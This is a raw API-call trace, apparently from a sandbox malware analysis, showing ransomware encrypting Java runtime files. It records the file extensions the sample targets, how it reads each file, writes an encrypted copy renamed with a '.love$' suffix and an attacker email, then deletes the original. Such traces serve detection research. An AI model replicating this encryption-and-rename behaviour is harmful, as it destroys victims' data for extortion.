[0240.840] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.840] lstrlenW (lpString=".rar") returned 4 [0240.840] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.840] lstrlenW (lpString=".bz2") returned 4 [0240.840] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.841] lstrlenW (lpString=".7z") returned 3 [0240.841] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.841] lstrlenW (lpString=".dbf") returned 4 [0240.841] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.841] lstrlenW (lpString=".1cd") returned 4 [0240.841] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49 [0240.841] lstrlenW (lpString=".jpg") returned 4 [0240.841] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.841] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0240.841] lstrlenW (lpString="psfontj2d.properties") returned 20 [0240.841] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0240.842] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=10393) returned 1 [0240.842] CloseHandle (hObject=0x44c) returned 1 [0240.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0240.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.843] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0240.843] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.843] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.843] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0240.844] GetLastError () returned 0x0 [0240.844] ReadFile (in: hFile=0x44c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x2899, lpOverlapped=0x0) returned 1 [0240.846] WriteFile (in: hFile=0x4e8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0x28a0, lpOverlapped=0x0) returned 1 [0240.848] ReadFile (in: hFile=0x44c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.848] WriteFile (in: hFile=0x4e8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xfc, lpOverlapped=0x0) returned 1 [0240.848] SetEndOfFile (hFile=0x4e8) returned 1 [0240.848] CloseHandle (hObject=0x4e8) returned 1 [0240.848] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.848] SetEndOfFile (hFile=0x44c) returned 1 [0240.851] CloseHandle (hObject=0x44c) returned 1 [0240.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0240.852] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0240.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.853] lstrlenW (lpString=".doc") returned 4 [0240.853] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0240.853] lstrlenW (lpString=".docx") returned 5 [0240.853] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0240.853] lstrlenW (lpString=".pdf") returned 4 [0240.853] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0240.853] lstrlenW (lpString=".xls") returned 4 [0240.853] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0240.853] lstrlenW (lpString=".xlsx") returned 5 [0240.853] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0240.853] lstrlenW (lpString=".ppt") returned 4 [0240.853] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0240.853] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.853] lstrlenW (lpString=".zip") returned 4 [0240.853] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0240.853] lstrlenW (lpString=".rar") returned 4 [0240.853] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0240.853] lstrlenW (lpString=".bz2") returned 4 [0240.854] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0240.854] lstrlenW (lpString=".7z") returned 3 [0240.854] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0240.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.854] lstrlenW (lpString=".dbf") returned 4 [0240.854] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0240.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.854] lstrlenW (lpString=".1cd") returned 4 [0240.854] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0240.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.854] lstrlenW (lpString=".jpg") returned 4 [0240.854] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0240.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.854] lstrlenW (lpString=".doc") returned 4 [0240.854] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0240.854] lstrlenW (lpString=".docx") returned 5 [0240.854] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0240.854] lstrlenW (lpString=".pdf") returned 4 [0240.854] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0240.854] lstrlenW (lpString=".xls") returned 4 [0240.854] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0240.854] lstrlenW (lpString=".xlsx") returned 5 [0240.854] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0240.854] lstrlenW (lpString=".ppt") returned 4 [0240.854] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0240.854] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.854] lstrlenW (lpString=".zip") returned 4 [0240.854] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0240.855] lstrlenW (lpString=".rar") returned 4 [0240.855] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0240.855] lstrlenW (lpString=".bz2") returned 4 [0240.855] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0240.855] lstrlenW (lpString=".7z") returned 3 [0240.855] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0240.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.855] lstrlenW (lpString=".dbf") returned 4 [0240.855] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0240.855] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.855] lstrlenW (lpString=".1cd") returned 4 [0240.862] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0240.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0240.862] lstrlenW (lpString=".jpg") returned 4 [0240.862] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0240.862] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0240.862] lstrlenW (lpString="resources.jar") returned 13 [0240.862] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0240.863] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=3492573) returned 1 [0240.863] CloseHandle (hObject=0x44c) returned 1 [0240.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0240.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.864] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[im.online@aol.com].love$")) returned 0 [0240.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.864] lstrlenW (lpString=".doc") returned 4 [0240.864] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.864] lstrlenW (lpString=".docx") returned 5 [0240.864] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0240.864] lstrlenW (lpString=".pdf") returned 4 [0240.864] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.864] lstrlenW (lpString=".xls") returned 4 [0240.864] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.864] lstrlenW (lpString=".xlsx") returned 5 [0240.864] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0240.864] lstrlenW (lpString=".ppt") returned 4 [0240.864] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.864] lstrlenW (lpString=".zip") returned 4 [0240.864] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.865] lstrlenW (lpString=".rar") returned 4 [0240.865] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.865] lstrlenW (lpString=".bz2") returned 4 [0240.865] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.865] lstrlenW (lpString=".7z") returned 3 [0240.865] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.865] lstrlenW (lpString=".dbf") returned 4 [0240.865] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.865] lstrlenW (lpString=".1cd") returned 4 [0240.865] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.865] lstrlenW (lpString=".jpg") returned 4 [0240.865] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.865] lstrlenW (lpString=".doc") returned 4 [0240.865] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.865] lstrlenW (lpString=".docx") returned 5 [0240.865] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0240.865] lstrlenW (lpString=".pdf") returned 4 [0240.865] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.865] lstrlenW (lpString=".xls") returned 4 [0240.865] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.865] lstrlenW (lpString=".xlsx") returned 5 [0240.865] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0240.865] lstrlenW (lpString=".ppt") returned 4 [0240.866] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.866] lstrlenW (lpString=".zip") returned 4 [0240.866] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.866] lstrlenW (lpString=".rar") returned 4 [0240.866] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.866] lstrlenW (lpString=".bz2") returned 4 [0240.866] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.866] lstrlenW (lpString=".7z") returned 3 [0240.866] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.866] lstrlenW (lpString=".dbf") returned 4 [0240.866] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.866] lstrlenW (lpString=".1cd") returned 4 [0240.866] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52 [0240.866] lstrlenW (lpString=".jpg") returned 4 [0240.866] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.866] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0240.866] lstrlenW (lpString="rt.jar") returned 6 [0240.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0240.867] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=54560347) returned 1 [0240.867] CloseHandle (hObject=0x44c) returned 1 [0240.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0240.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[im.online@aol.com].love$")) returned 0 [0240.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.868] lstrlenW (lpString=".doc") returned 4 [0240.868] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.868] lstrlenW (lpString=".docx") returned 5 [0240.868] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0240.868] lstrlenW (lpString=".pdf") returned 4 [0240.868] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.868] lstrlenW (lpString=".xls") returned 4 [0240.868] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.869] lstrlenW (lpString=".xlsx") returned 5 [0240.869] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0240.869] lstrlenW (lpString=".ppt") returned 4 [0240.869] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.869] lstrlenW (lpString=".zip") returned 4 [0240.869] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.869] lstrlenW (lpString=".rar") returned 4 [0240.869] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.869] lstrlenW (lpString=".bz2") returned 4 [0240.869] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.869] lstrlenW (lpString=".7z") returned 3 [0240.869] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.869] lstrlenW (lpString=".dbf") returned 4 [0240.869] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.869] lstrlenW (lpString=".1cd") returned 4 [0240.869] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.869] lstrlenW (lpString=".jpg") returned 4 [0240.869] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.869] lstrlenW (lpString=".doc") returned 4 [0240.869] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0240.869] lstrlenW (lpString=".docx") returned 5 [0240.869] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0240.869] lstrlenW (lpString=".pdf") returned 4 [0240.869] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0240.870] lstrlenW (lpString=".xls") returned 4 [0240.870] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0240.870] lstrlenW (lpString=".xlsx") returned 5 [0240.870] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0240.870] lstrlenW (lpString=".ppt") returned 4 [0240.870] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0240.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.870] lstrlenW (lpString=".zip") returned 4 [0240.870] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0240.870] lstrlenW (lpString=".rar") returned 4 [0240.870] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0240.870] lstrlenW (lpString=".bz2") returned 4 [0240.870] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0240.870] lstrlenW (lpString=".7z") returned 3 [0240.870] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0240.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.870] lstrlenW (lpString=".dbf") returned 4 [0240.870] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0240.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.870] lstrlenW (lpString=".1cd") returned 4 [0240.870] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0240.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0240.870] lstrlenW (lpString=".jpg") returned 4 [0240.870] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0240.870] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".love$") returned -1 [0240.870] lstrlenW (lpString="blacklist") returned 9 [0240.871] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0240.876] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=4054) returned 1 [0240.876] CloseHandle (hObject=0x44c) returned 1 [0240.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0240.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.877] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0240.877] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.877] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.877] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0240.882] GetLastError () returned 0x0 [0240.882] ReadFile (in: hFile=0x44c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xfd6, lpOverlapped=0x0) returned 1 [0241.082] WriteFile (in: hFile=0x4e8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xfe0, lpOverlapped=0x0) returned 1 [0241.083] ReadFile (in: hFile=0x44c, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.083] WriteFile (in: hFile=0x4e8, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xe6, lpOverlapped=0x0) returned 1 [0241.084] SetEndOfFile (hFile=0x4e8) returned 1 [0241.084] CloseHandle (hObject=0x4e8) returned 1 [0241.084] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.084] SetEndOfFile (hFile=0x44c) returned 1 [0241.090] CloseHandle (hObject=0x44c) returned 1 [0241.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0241.091] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0241.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.092] lstrlenW (lpString=".doc") returned 4 [0241.092] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0241.092] lstrlenW (lpString=".docx") returned 5 [0241.092] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0241.092] lstrlenW (lpString=".pdf") returned 4 [0241.092] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0241.092] lstrlenW (lpString=".xls") returned 4 [0241.092] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0241.092] lstrlenW (lpString=".xlsx") returned 5 [0241.092] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0241.092] lstrlenW (lpString=".ppt") returned 4 [0241.093] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0241.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.093] lstrlenW (lpString=".zip") returned 4 [0241.093] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0241.093] lstrlenW (lpString=".rar") returned 4 [0241.093] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0241.093] lstrlenW (lpString=".bz2") returned 4 [0241.093] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0241.093] lstrlenW (lpString=".7z") returned 3 [0241.093] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0241.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.093] lstrlenW (lpString=".dbf") returned 4 [0241.093] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0241.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0241.093] lstrlenW (lpString=".1cd") returned 4 [0241.093] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0241.093] 